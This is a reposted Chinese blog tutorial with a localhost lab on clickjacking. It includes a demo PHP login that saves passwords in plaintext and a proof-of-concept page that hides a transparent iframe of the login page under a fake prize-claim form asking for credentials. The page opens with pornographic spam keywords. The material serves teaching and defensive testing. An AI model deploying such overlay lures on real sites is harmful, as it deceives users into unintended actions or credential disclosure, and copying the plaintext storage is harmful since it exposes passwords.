日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

一文带你读懂点击劫持详解+实验

發布時間:2024/3/13 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 一文带你读懂点击劫持详解+实验 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

這個漏洞聽起來似乎比getshell還炫酷,但如果真正理解了,其實就會發現其實還是挺簡單的

漏洞原理

點擊劫持又稱UI-覆蓋攻擊,是2008年由互聯網安全專家羅伯特·漢森和耶利米·格勞斯曼提出點擊劫持的概念。因為首先劫持的是用戶的鼠標點擊操作,所以命名叫點擊劫持。主要劫持目標是含有重要會話交互的頁面,如銀行交易頁面、后臺管理頁面等。曾經 Twitter 和 Facebook 等著名站點的用戶都遭受過點擊劫持的攻擊。

系統環境

  • windows 10
  • phpstudy-pro
  • php7.3.4
  • apache2

實驗過程

我們先模擬出一個正常登陸的頁面(服務A),編寫頁面源碼如下:

/*** 安全小站:http://www.anquanxiaozhan.com* b站: 一只技術君* Create by Sp4rkW on 2019 **/ <form action="login.php" method="post"><fieldset><legend>用戶登錄</legend><ul><li><label>用戶名:</label><input type="text" name="username"></li><li><label>密 碼:</label><input type="password" name="password"></li><li><label> </label><input type="submit" name="login" value="登錄"></li></ul></fieldset> </form> <?php /*** 安全小站:http://www.anquanxiaozhan.com* b站: 一只技術君* Create by Sp4rkW on 2019 **/ //簡單處理header('Content-type:text/html; charset=utf-8');// 處理用戶登錄信息if (isset($_POST['login'])) {# 接收用戶的登錄信息$username = trim($_POST['username']);$password = trim($_POST['password']);// 判斷提交的登錄信息if (($username != '') || ($password != '')) {$myfile = fopen("newfile.txt","w");$txt = $username." ".$password;fwrite($myfile,$txt);fclose($myfile);}} ?>

頁面演示截圖如下:

由于沒有連接數據庫(懶),直接通過fwrite函數將表單數據存儲為txt到本地,以證明服務A做了相關處理。

由于這個服務沒有做任何防護處理,所以其存在點擊劫持漏洞,也可以通過最簡單的方式去進行驗證是否存在此漏洞,構造一個html頁面

/*** 安全小站:http://www.anquanxiaozhan.com* b站: 一只技術君* Create by Sp4rkW on 2019 **/ <iframe src="http://127.0.0.1/web1.php"></iframe>

如果有如下情況出現,即可說明很大可能性存在點擊劫持漏洞,截圖演示如下:

繼續我們的點擊劫持漏洞驗證實驗,構造如下的代碼:

/*** 安全小站:http://www.anquanxiaozhan.com* b站: 一只技術君* Create by Sp4rkW on 2019 **/ <html> <body> <style> iframe{ width: 1440px; height: 900px; position: absolute; top: -0px; left: -0px; z-index: 2; opacity: 0; } </style><form action="/" method="post"><fieldset><legend>中獎禮品領取,請先輸入賬號密碼確認身份</legend><ul><li><label>用戶名:</label><input type="text" name="username"></li><li><label>密 碼:</label><input type="password" name="password"></li><li><label> </label><input type="submit" name="login" value="確認身份"></li></ul></fieldset> </form> <iframe src="http://127.0.0.1/login.php"></iframe> </body> </html>

原理如下:

  • 我們先在web2.php中構建了一個表單在瀏覽器顯示,我稱之為“膜x”
  • 在通過iframe標簽構建第二層讓瀏覽器顯示的UI,我稱之為“膜y”
  • 之后使用css對iframe標簽進行設置,首先通過width: 1440px; height: 900px; position: absolute; top: -0px; left: -0px;將其平鋪,之后通過opacity,z-index來將“膜y”移動到“膜x”上方對齊,并將其透明化,opacity數值從0到1,數值越小透明度越高,反之越明顯;z-index數值越高越靠近用戶,高數值控件在低數值控件前。

完整的效果是這樣的:

似乎好像很正常的一個頁面,但當修改opacity值,使“膜y”不再透明時,你就會發現問題。

也就是說,你表面上輸入的是確認身份框,實際上是登陸框;或許你會覺得,這誰這么傻亂輸入密碼啊,對我毫無危害,但你要想到,假如這只是一個按鈕的,比如說微博的關注按鈕,你點擊了一個別的頁面上的看似是關閉廣告的按鈕,實際上卻是已經不知不覺中關注了某個你不認識的人(前提微博有點擊劫持漏洞)。由此拓展,點擊劫持還是有很多用處的。

動態的演示效果無法使用圖片來演示了,有興趣看演示效果的,可以之后去我的b站觀看視頻~

總結

以上是生活随笔為你收集整理的一文带你读懂点击劫持详解+实验的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。